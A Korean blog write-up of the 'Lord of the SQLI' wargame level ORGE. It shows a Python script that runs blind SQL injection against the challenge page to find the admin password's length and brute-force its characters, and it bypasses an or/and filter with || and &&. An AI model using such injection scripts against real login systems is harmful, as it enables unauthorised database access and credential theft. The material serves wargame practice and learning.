LOS(The Lord of the SQLI) 7 - ORGE
2021. 1. 16. 19:27ㆍ정보보안/웹 해킹
이 문제도 4번 ORC와 똑같이 pw를 알아내야하는 Blind SQL Injection 문제이다
4번 문제와 달라진 점을 확인해보면, 6번째줄의 필터링 식이 하나 더 추가되었다.
if(preg_match('/or|and/i', $_GET[pw])) 필터링이 추가된것으로 보아, 6번 문제와 같이
pw 파라미터에 or 혹은 and가 들어가면 HeHe를 출력하고 종료된다.
4번 문제때 사용했던 파이썬 스크립트를 가져와보자.
import requests
URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' # 수동 입력
cookies ={'PHPSESSID': 'cmcugkq520hmjgn8vlos2kj0sj'} # 수동 입력
# 패스워드의 길이를 찾는 함수
def find_len():
pw_len = 0
while True:
pw_len += 1
# url? 뒤에 추가될 값이 value
value = "123'or id='admin' and length(pw) = {} #".format(pw_len)
parms={'pw' : value}
response = requests.get(URL, params=parms, cookies=cookies) # URL과 파라미터, 쿠키를 설정한 후 request를 보낸 뒤 돌아오는 response(응답값)를 저장
if "Hello admin" in response.text: # 받아온 응닶값 텍스트 중 'Hello admin'이 존재한다면 패스워드 길이 반환
print("길이는", pw_len, "입니다.")
break
print("Trying")
return pw_len
def find_pw():
pw_len = find_len()
flag=''
for pw_value in range(1,pw_len+1):
for ascii in range(48,122): # 아스키 코드값 48 ~ 122 -> 숫자, 알파벳, 특수문자 몇몇
value = "'or id='admin' and ascii(substr(pw,{},1))={}#".format(pw_value,ascii)
parmas = {'pw' :value }
response = requests.get(URL, params=parmas, cookies=cookies)
if "Hello admin" in response.text:
print("pw의",pw_value,"번째는",chr(ascii), '입니다.')
flag += chr(ascii)
print("pw는", flag, "입니다.")
find_pw()
이부분에서 고쳐야할 부분은 13 line과 30 line이다.
13, 30 line의 or과 and를 각각 || , &&로 바꾸어 준다.
value = "123' || id='admin' && length(pw) = {} #".format(pw_len)
value = "'|| id='admin' && ascii(substr(pw,{},1))={}#".format(pw_value,ascii)
그 후 URL 값과 COOKIE 값을 수정해 스크립트를 동작시킨다.
'정보보안 > 웹 해킹' 카테고리의 다른 글
LOS(The Lord of the SQLI) 9 - VAMPIRE (0) | 2021.01.16 |
---|---|
LOS(The Lord of the SQLI) 8 - TROLL (0) | 2021.01.16 |
LOS(The Lord of the SQLI) 6 - DARKELF (0) | 2021.01.16 |
LOS(The Lord of the SQLI) 5 - WOLFMAN (0) | 2021.01.16 |
LOS(The Lord of the SQLI) 4 - ORC (0) | 2021.01.14 |